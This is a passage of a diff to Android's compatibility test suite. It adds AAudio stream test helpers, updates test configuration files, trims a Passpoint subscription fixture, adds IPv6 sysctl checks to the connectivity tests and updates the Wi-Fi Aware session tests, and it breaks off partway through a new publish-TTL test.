+        StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
+    ASSERT_EQ(AAUDIO_OK, cmd(mStream));
+    aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
+    ASSERT_EQ(AAUDIO_OK,
+            AAudioStream_waitForStateChange(mStream, fromState, &state, DEFAULT_STATE_TIMEOUT));
+    ASSERT_EQ(toState, state);
+}
+
+
+InputStreamBuilderHelper::InputStreamBuilderHelper(
+        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
+            48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+// Native apps don't have permissions, thus recording can
+// only be tested when running as root.
+static bool canTestRecording() {
+    static const bool runningAsRoot = getuid() == 0;
+    return runningAsRoot;
+}
+
+void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+    if (!canTestRecording()) {
+        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
+        *success = false;
+    } else {
+        StreamBuilderHelper::createAndVerifyStream(success);
+    }
+}
+
+
+OutputStreamBuilderHelper::OutputStreamBuilderHelper(
+        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
+            48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+void OutputStreamBuilderHelper::initBuilder() {
+    StreamBuilderHelper::initBuilder();
+    AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, kBufferCapacityFrames);
+}
+
+void OutputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+    StreamBuilderHelper::createAndVerifyStream(success);
+    if (*success) {
+        ASSERT_GE(AAudioStream_getBufferCapacityInFrames(mStream), kBufferCapacityFrames);
+    }
+}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/src/utils.h
new file mode 100644
index 0000000..fbb3e76
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/utils.h
@@ -0,0 +1,99 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef CTS_MEDIA_TEST_AAUDIO_UTILS_H
+#define CTS_MEDIA_TEST_AAUDIO_UTILS_H
+
+#include <aaudio/AAudio.h>
+
+int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
+const char* performanceModeToString(aaudio_performance_mode_t mode);
+const char* sharingModeToString(aaudio_sharing_mode_t mode);
+
+class StreamBuilderHelper {
+  public:
+    struct Parameters {
+        int32_t sampleRate;
+        int32_t channelCount;
+        aaudio_format_t dataFormat;
+        aaudio_sharing_mode_t sharingMode;
+        aaudio_performance_mode_t perfMode;
+    };
+
+    void initBuilder();
+    void createAndVerifyStream(bool *success);
+    void close();
+
+    void startStream() {
+        streamCommand(&AAudioStream_requestStart,
+                AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
+    }
+    void pauseStream() {
+        streamCommand(&AAudioStream_requestPause,
+                AAUDIO_STREAM_STATE_PAUSING, AAUDIO_STREAM_STATE_PAUSED);
+    }
+    void stopStream() {
+        streamCommand(&AAudioStream_requestStop,
+                AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
+    }
+    void flushStream() {
+        streamCommand(&AAudioStream_requestFlush,
+                AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
+    }
+
+    AAudioStreamBuilder* builder() const { return mBuilder; }
+    AAudioStream* stream() const { return mStream; }
+    const Parameters& actual() const { return mActual; }
+    int32_t framesPerBurst() const { return mFramesPerBurst; }
+
+  protected:
+    StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
+            int32_t channelCount, aaudio_format_t dataFormat,
+            aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode);
+    ~StreamBuilderHelper();
+
+    typedef aaudio_result_t (StreamCommand)(AAudioStream*);
+    void streamCommand(
+            StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
+
+    const aaudio_direction_t mDirection;
+    const Parameters mRequested;
+    Parameters mActual;
+    int32_t mFramesPerBurst;
+    AAudioStreamBuilder *mBuilder;
+    AAudioStream *mStream;
+};
+
+class InputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    InputStreamBuilderHelper(
+            aaudio_sharing_mode_t requestedSharingMode,
+            aaudio_performance_mode_t requestedPerfMode);
+    void createAndVerifyStream(bool *success);
+};
+
+class OutputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    OutputStreamBuilderHelper(
+            aaudio_sharing_mode_t requestedSharingMode,
+            aaudio_performance_mode_t requestedPerfMode);
+    void initBuilder();
+    void createAndVerifyStream(bool *success);
+
+  private:
+    const int32_t kBufferCapacityFrames = 2000;
+};
+
+#endif  // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/nativemedia/sl/AndroidTest.xml b/tests/tests/nativemedia/sl/AndroidTest.xml
index c73c1b4..0677a62 100644
--- a/tests/tests/nativemedia/sl/AndroidTest.xml
+++ b/tests/tests/nativemedia/sl/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Native Media Open SL ES test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeMediaSlTestCases->/data/local/tmp/CtsNativeMediaSlTestCases" />
@@ -22,5 +23,6 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsNativeMediaSlTestCases" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/nativemedia/xa/AndroidTest.xml b/tests/tests/nativemedia/xa/AndroidTest.xml
index 229d8aa..c63c1ab 100644
--- a/tests/tests/nativemedia/xa/AndroidTest.xml
+++ b/tests/tests/nativemedia/xa/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Native Media OpenMax AL test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeMediaXaTestCases->/data/local/tmp/CtsNativeMediaXaTestCases" />
@@ -22,5 +23,6 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsNativeMediaXaTestCases" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/ndef/AndroidTest.xml b/tests/tests/ndef/AndroidTest.xml
index cfb40d3..ca949bd 100644
--- a/tests/tests/ndef/AndroidTest.xml
+++ b/tests/tests/ndef/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS NDEF test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNdefTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.ndef.cts" />
+        <option name="runtime-hint" value="10m10s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 7d2b0ba..98cde9b 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     core-tests-support \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ctstestserver \
     mockwebserver \
diff --git a/tests/tests/net/AndroidTest.xml b/tests/tests/net/AndroidTest.xml
index 389b926..4a578ea 100644
--- a/tests/tests/net/AndroidTest.xml
+++ b/tests/tests/net/AndroidTest.xml
@@ -13,7 +13,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Net test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetTestCases.apk" />
         <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
diff --git a/tests/tests/net/assets/PerProviderSubscription.xml b/tests/tests/net/assets/PerProviderSubscription.xml
index 7f2d95d..de6c0c6 100644
--- a/tests/tests/net/assets/PerProviderSubscription.xml
+++ b/tests/tests/net/assets/PerProviderSubscription.xml
@@ -8,10 +8,6 @@
       </Type>
     </RTProperties>
     <Node>
-      <NodeName>UpdateIdentifier</NodeName>
-      <Value>12</Value>
-    </Node>
-    <Node>
       <NodeName>i001</NodeName>
       <Node>
         <NodeName>HomeSP</NodeName>
@@ -27,86 +23,14 @@
           <NodeName>RoamingConsortiumOI</NodeName>
           <Value>112233,445566</Value>
         </Node>
-        <Node>
-          <NodeName>IconURL</NodeName>
-          <Value>icon.test.com</Value>
-        </Node>
-        <Node>
-          <NodeName>NetworkID</NodeName>
-          <Node>
-            <NodeName>n001</NodeName>
-            <Node>
-              <NodeName>SSID</NodeName>
-              <Value>TestSSID</Value>
-            </Node>
-            <Node>
-              <NodeName>HESSID</NodeName>
-              <Value>12345678</Value>
-            </Node>
-          </Node>
-          <Node>
-            <NodeName>n002</NodeName>
-            <Node>
-              <NodeName>SSID</NodeName>
-              <Value>NullHESSID</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>HomeOIList</NodeName>
-          <Node>
-            <NodeName>h001</NodeName>
-            <Node>
-              <NodeName>HomeOI</NodeName>
-              <Value>11223344</Value>
-            </Node>
-            <Node>
-              <NodeName>HomeOIRequired</NodeName>
-              <Value>true</Value>
-            </Node>
-          </Node>
-          <Node>
-            <NodeName>h002</NodeName>
-            <Node>
-              <NodeName>HomeOI</NodeName>
-              <Value>55667788</Value>
-            </Node>
-            <Node>
-              <NodeName>HomeOIRequired</NodeName>
-              <Value>false</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>OtherHomePartners</NodeName>
-          <Node>
-            <NodeName>o001</NodeName>
-            <Node>
-              <NodeName>FQDN</NodeName>
-              <Value>other.fqdn.com</Value>
-            </Node>
-          </Node>
-        </Node>
       </Node>
       <Node>
         <NodeName>Credential</NodeName>
         <Node>
-          <NodeName>CreationDate</NodeName>
-          <Value>2016-01-01T10:00:00Z</Value>
-        </Node>
-        <Node>
-          <NodeName>ExpirationDate</NodeName>
-          <Value>2016-02-01T10:00:00Z</Value>
-        </Node>
-        <Node>
           <NodeName>Realm</NodeName>
           <Value>shaken.stirred.com</Value>
         </Node>
         <Node>
-          <NodeName>CheckAAAServerCertStatus</NodeName>
-          <Value>true</Value>
-        </Node>
-        <Node>
           <NodeName>UsernamePassword</NodeName>
           <Node>
             <NodeName>Username</NodeName>
@@ -117,18 +41,6 @@
             <Value>Ym9uZDAwNw==</Value>
           </Node>
           <Node>
-            <NodeName>MachineManaged</NodeName>
-            <Value>true</Value>
-          </Node>
-          <Node>
-            <NodeName>SoftTokenApp</NodeName>
-            <Value>TestApp</Value>
-          </Node>
-          <Node>
-            <NodeName>AbleToShare</NodeName>
-            <Value>true</Value>
-          </Node>
-          <Node>
             <NodeName>EAPMethod</NodeName>
             <Node>
               <NodeName>EAPType</NodeName>
@@ -163,237 +75,6 @@
           </Node>
         </Node>
       </Node>
-      <Node>
-        <NodeName>Policy</NodeName>
-        <Node>
-          <NodeName>PreferredRoamingPartnerList</NodeName>
-          <Node>
-            <NodeName>p001</NodeName>
-            <Node>
-              <NodeName>FQDN_Match</NodeName>
-              <Value>test1.fqdn.com,exactMatch</Value>
-            </Node>
-            <Node>
-              <NodeName>Priority</NodeName>
-              <Value>127</Value>
-            </Node>
-            <Node>
-              <NodeName>Country</NodeName>
-              <Value>us,fr</Value>
-            </Node>
-          </Node>
-          <Node>
-            <NodeName>p002</NodeName>
-            <Node>
-              <NodeName>FQDN_Match</NodeName>
-              <Value>test2.fqdn.com,includeSubdomains</Value>
-            </Node>
-            <Node>
-              <NodeName>Priority</NodeName>
-              <Value>200</Value>
-            </Node>
-            <Node>
-              <NodeName>Country</NodeName>
-              <Value>*</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>MinBackhaulThreshold</NodeName>
-          <Node>
-            <NodeName>m001</NodeName>
-            <Node>
-              <NodeName>NetworkType</NodeName>
-              <Value>home</Value>
-            </Node>
-            <Node>
-              <NodeName>DLBandwidth</NodeName>
-              <Value>23412</Value>
-            </Node>
-            <Node>
-              <NodeName>ULBandwidth</NodeName>
-              <Value>9823</Value>
-            </Node>
-          </Node>
-          <Node>
-            <NodeName>m002</NodeName>
-            <Node>
-              <NodeName>NetworkType</NodeName>
-              <Value>roaming</Value>
-            </Node>
-            <Node>
-              <NodeName>DLBandwidth</NodeName>
-              <Value>9271</Value>
-            </Node>
-            <Node>
-              <NodeName>ULBandwidth</NodeName>
-              <Value>2315</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>PolicyUpdate</NodeName>
-          <Node>
-            <NodeName>UpdateInterval</NodeName>
-            <Value>120</Value>
-          </Node>
-          <Node>
-            <NodeName>UpdateMethod</NodeName>
-            <Value>OMA-DM-ClientInitiated</Value>
-          </Node>
-          <Node>
-            <NodeName>Restriction</NodeName>
-            <Value>HomeSP</Value>
-          </Node>
-          <Node>
-            <NodeName>URI</NodeName>
-            <Value>policy.update.com</Value>
-          </Node>
-          <Node>
-            <NodeName>UsernamePassword</NodeName>
-            <Node>
-              <NodeName>Username</NodeName>
-              <Value>updateUser</Value>
-            </Node>
-            <Node>
-              <NodeName>Password</NodeName>
-              <Value>updatePass</Value>
-            </Node>
-          </Node>
-          <Node>
-            <NodeName>TrustRoot</NodeName>
-            <Node>
-              <NodeName>CertURL</NodeName>
-              <Value>update.cert.com</Value>
-            </Node>
-            <Node>
-              <NodeName>CertSHA256Fingerprint</NodeName>
-              <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>SPExclusionList</NodeName>
-          <Node>
-            <NodeName>s001</NodeName>
-            <Node>
-              <NodeName>SSID</NodeName>
-              <Value>excludeSSID</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>RequiredProtoPortTuple</NodeName>
-          <Node>
-            <NodeName>r001</NodeName>
-            <Node>
-              <NodeName>IPProtocol</NodeName>
-              <Value>12</Value>
-            </Node>
-            <Node>
-              <NodeName>PortNumber</NodeName>
-              <Value>34,92,234</Value>
-            </Node>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>MaximumBSSLoadValue</NodeName>
-          <Value>23</Value>
-        </Node>
-      </Node>
-      <Node>
-        <NodeName>CredentialPriority</NodeName>
-        <Value>99</Value>
-      </Node>
-      <Node>
-        <NodeName>AAAServerTrustRoot</NodeName>
-        <Node>
-          <NodeName>a001</NodeName>
-          <Node>
-            <NodeName>CertURL</NodeName>
-            <Value>server1.trust.root.com</Value>
-          </Node>
-          <Node>
-            <NodeName>CertSHA256Fingerprint</NodeName>
-            <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
-          </Node>
-        </Node>
-      </Node>
-      <Node>
-        <NodeName>SubscriptionUpdate</NodeName>
-        <Node>
-          <NodeName>UpdateInterval</NodeName>
-          <Value>120</Value>
-        </Node>
-        <Node>
-          <NodeName>UpdateMethod</NodeName>
-          <Value>SSP-ClientInitiated</Value>
-        </Node>
-        <Node>
-          <NodeName>Restriction</NodeName>
-          <Value>RoamingPartner</Value>
-        </Node>
-        <Node>
-          <NodeName>URI</NodeName>
-          <Value>subscription.update.com</Value>
-        </Node>
-        <Node>
-          <NodeName>UsernamePassword</NodeName>
-          <Node>
-            <NodeName>Username</NodeName>
-            <Value>subscriptionUser</Value>
-          </Node>
-          <Node>
-            <NodeName>Password</NodeName>
-            <Value>subscriptionPass</Value>
-          </Node>
-        </Node>
-        <Node>
-          <NodeName>TrustRoot</NodeName>
-          <Node>
-            <NodeName>CertURL</NodeName>
-            <Value>subscription.update.cert.com</Value>
-          </Node>
-          <Node>
-            <NodeName>CertSHA256Fingerprint</NodeName>
-            <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
-          </Node>
-        </Node>
-      </Node>
-      <Node>
-        <NodeName>SubscriptionParameter</NodeName>
-        <Node>
-          <NodeName>CreationDate</NodeName>
-          <Value>2016-02-01T10:00:00Z</Value>
-        </Node>
-        <Node>
-          <NodeName>ExpirationDate</NodeName>
-          <Value>2016-03-01T10:00:00Z</Value>
-        </Node>
-        <Node>
-          <NodeName>TypeOfSubscription</NodeName>
-          <Value>Gold</Value>
-        </Node>
-        <Node>
-          <NodeName>UsageLimits</NodeName>
-          <Node>
-            <NodeName>DataLimit</NodeName>
-            <Value>921890</Value>
-          </Node>
-          <Node>
-            <NodeName>StartDate</NodeName>
-            <Value>2016-12-01T10:00:00Z</Value>
-          </Node>
-          <Node>
-            <NodeName>TimeLimit</NodeName>
-            <Value>120</Value>
-          </Node>
-          <Node>
-            <NodeName>UsageTimePeriod</NodeName>
-            <Value>99910</Value>
-          </Node>
-        </Node>
-      </Node>
     </Node>
   </Node>
 </MgmtTree>
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index b619974..cd6dbb2 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -45,12 +45,15 @@
 
 import com.android.internal.telephony.PhoneConstants;
 
+import java.io.File;
+import java.io.FileNotFoundException;
 import java.io.InputStream;
 import java.io.IOException;
 import java.io.OutputStream;
 import java.net.Socket;
 import java.net.InetSocketAddress;
 import java.util.HashMap;
+import java.util.Scanner;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
@@ -74,6 +77,17 @@
             "Host: " + TEST_HOST + "\r\n" +
             "Connection: keep-alive\r\n\r\n";
 
+    // Base path for IPv6 sysctls
+    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
+
+    // Expected values for MIN|MAX_PLEN.
+    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN = 48;
+    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN = 64;
+
+    // Expected values for RFC 7559 router soliciations.
+    // Maximum number of router solicitations to send. -1 means no limit.
+    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
+
     // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
     private static final String NETWORK_CALLBACK_ACTION =
             "ConnectivityManagerTest.NetworkCallbackAction";
@@ -91,6 +105,7 @@
     private PackageManager mPackageManager;
     private final HashMap<Integer, NetworkConfig> mNetworks =
             new HashMap<Integer, NetworkConfig>();
+    boolean mWifiConnectAttempted;
 
     @Override
     protected void setUp() throws Exception {
@@ -99,6 +114,7 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mWifiConnectAttempted = false;
 
         // Get com.android.internal.R.array.networkAttributes
         int resId = mContext.getResources().getIdentifier("networkAttributes", "array", "android");
@@ -116,6 +132,27 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        // Return WiFi to its original disabled state after tests that explicitly connect.
+        if (mWifiConnectAttempted) {
+            disconnectFromWifi(null);
+        }
+    }
+
+    /**
+     * Make sure WiFi is connected to an access point if it is not already. If
+     * WiFi is enabled as a result of this function, it will be disabled
+     * automatically in tearDown().
+     */
+    private Network ensureWifiConnected() {
+        if (mWifiManager.isWifiEnabled()) {
+            return getWifiNetwork();
+        }
+        mWifiConnectAttempted = true;
+        return connectToWifi();
+    }
+
     public void testIsNetworkTypeValid() {
         assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE));
         assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_WIFI));
@@ -298,14 +335,10 @@
         final TestNetworkCallback defaultTrackingCallback = new TestNetworkCallback();
         mCm.registerDefaultNetworkCallback(defaultTrackingCallback);
 
-        final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
         Network wifiNetwork = null;
 
         try {
-            // Make sure WiFi is connected to an access point to start with.
-            if (!previousWifiEnabledState) {
-                connectToWifi();
-            }
+            ensureWifiConnected();
 
             // Now we should expect to get a network callback about availability of the wifi
             // network even if it was already connected as a state-based action when the callback
@@ -321,11 +354,6 @@
         } finally {
             mCm.unregisterNetworkCallback(callback);
             mCm.unregisterNetworkCallback(defaultTrackingCallback);
-
-            // Return WiFi to its original enabled/disabled state.
-            if (!previousWifiEnabledState) {
-                disconnectFromWifi(wifiNetwork);
-            }
         }
     }
 
@@ -357,13 +385,8 @@
         // We will register for a WIFI network being available or lost.
         mCm.registerNetworkCallback(makeWifiNetworkRequest(), pendingIntent);
 
-        final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
-
         try {
-            // Make sure WiFi is connected to an access point to start with.
-            if (!previousWifiEnabledState) {
-                connectToWifi();
-            }
+            ensureWifiConnected();
 
             // Now we expect to get the Intent delivered notifying of the availability of the wifi
             // network even if it was already connected as a state-based action when the callback
@@ -376,11 +399,6 @@
             mCm.unregisterNetworkCallback(pendingIntent);
             pendingIntent.cancel();
             mContext.unregisterReceiver(receiver);
-
-            // Return WiFi to its original enabled/disabled state.
-            if (!previousWifiEnabledState) {
-                disconnectFromWifi(null);
-            }
         }
     }
 
@@ -761,4 +779,58 @@
             fail("No exception thrown when restricted network requested.");
         } catch (SecurityException expected) {}
     }
+
+    private Scanner makeWifiSysctlScanner(String key) throws FileNotFoundException {
+        Network network = ensureWifiConnected();
+        String iface = mCm.getLinkProperties(network).getInterfaceName();
+        String path = IPV6_SYSCTL_DIR + "/" + iface + "/" + key;
+        return new Scanner(new File(path));
+    }
+
+    /** Verify that accept_ra_rt_info_min_plen exists and is set to the expected value */
+    public void testAcceptRaRtInfoMinPlen() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_min_plen");
+        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN, s.nextInt());
+    }
+
+    /** Verify that accept_ra_rt_info_max_plen exists and is set to the expected value */
+    public void testAcceptRaRtInfoMaxPlen() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_max_plen");
+        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN, s.nextInt());
+    }
+
+    /** Verify that router_solicitations exists and is set to the expected value */
+    public void testRouterSolicitations() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        Scanner s = makeWifiSysctlScanner("router_solicitations");
+        assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, s.nextInt());
+    }
+
+    /** Verify that router_solicitation_max_interval exists and is in an acceptable interval */
+    public void testRouterSolicitationMaxInterval() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
+            return;
+        }
+        Scanner s = makeWifiSysctlScanner("router_solicitation_max_interval");
+        int interval = s.nextInt();
+        // Verify we're in the interval [15 minutes, 60 minutes]. Lower values may adversely
+        // impact battery life and higher values can decrease the probability of detecting
+        // network changes.
+        final int lowerBoundSec = 15 * 60;
+        final int upperBoundSec = 60 * 60;
+        assertTrue(lowerBoundSec <= interval);
+        assertTrue(interval <= upperBoundSec);
+    }
 }
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
index 7987a50..198f973 100644
--- a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
+++ b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
@@ -21,9 +21,10 @@
 
 import junit.framework.TestCase;
 
-import android.cts.util.FileUtils;
 import android.net.http.HttpResponseCache;
 
+import com.android.compatibility.common.util.FileUtils;
+
 import java.io.File;
 import java.io.InputStream;
 import java.net.CacheRequest;
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 1f7b31b..d4982a5 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -257,6 +257,23 @@
          * be queued.
          */
         boolean waitForCallback(int callback) {
+            return waitForCallback(callback, WAIT_FOR_AWARE_CHANGE_SECS);
+        }
+
+        /**
+         * Wait for the specified callback - any of the ON_* constants. Returns a true
+         * on success (specified callback triggered) or false on failure (timed-out or
+         * interrupted while waiting for the requested callback).
+         *
+         * Same as waitForCallback(int callback) execpt that allows specifying a custom timeout.
+         * The default timeout is a short value expected to be sufficient for all behaviors which
+         * should happen relatively quickly. Specifying a custom timeout should only be done for
+         * those cases which are known to take a specific longer period of time.
+         *
+         * Note: other callbacks happening while while waiting for the specified callback will
+         * be queued.
+         */
+        boolean waitForCallback(int callback, int timeoutSec) {
             synchronized (mLocalLock) {
                 boolean found = mCallbackQueue.remove(callback);
                 if (found) {
@@ -268,7 +285,7 @@
             }
 
             try {
-                return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+                return mBlocker.await(timeoutSec, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
                 return false;
             }
@@ -369,7 +386,7 @@
         synchronized (mLock) {
             for (WifiAwareSession session : mSessions) {
                 // no damage from destroying twice (i.e. ok if test cleaned up after itself already)
-                session.destroy();
+                session.close();
             }
             mSessions.clear();
         }
@@ -436,7 +453,7 @@
         }
 
         WifiAwareSession session = attachAndGetSession();
-        session.destroy();
+        session.close();
     }
 
     /**
@@ -469,7 +486,7 @@
             byte[] mac = identityL.getMac();
             assertNotNull("Wi-Fi Aware discovery MAC: iteration " + i, mac);
 
-            session.destroy();
+            session.close();
 
             macs.add(new TestUtils.MacWrapper(mac));
         }
@@ -510,14 +527,54 @@
         // 3. destroy
         assertFalse("Publish not terminated", discoveryCb.hasCallbackAlreadyHappened(
                 DiscoverySessionCallbackTest.ON_SESSION_TERMINATED));
-        discoverySession.destroy();
+        discoverySession.close();
 
         // 4. try update post-destroy: should time-out waiting for cb
         discoverySession.updatePublish(publishConfig);
         assertFalse("Publish update post destroy", discoveryCb.waitForCallback(
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
 
-        session.destroy();
+        session.close();
+    }
+
+    /**
+     * Validate that publish with a Time To Live (TTL) setting expires within the specified
+     * time (and validates that the terminate callback is triggered).
+     */
+    public void testPublishLimitedTtlSuccess() {
+        if (!TestUtils.shouldTestWifiAware(getContext())) {
+            return;
+        }
+
+        final String serviceName = "ValidName";
+        final int ttlSec = 5;
+
+        WifiAwareSession session = attachAndGetSession();
+
+        PublishConfig publishConfig = new PublishConfig.Builder().setServiceName(
+                serviceName).setTtlSec(ttlSec).setTerminateNotificationEnabled(true).build();
+        DiscoverySessionCallbackTest discoveryCb = new DiscoverySessionCallbackTest();
+
+        // 1. publish
+        session.publish(publishConfig, discoveryCb, mHandler);
+        assertTrue("Publish started",
+                discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
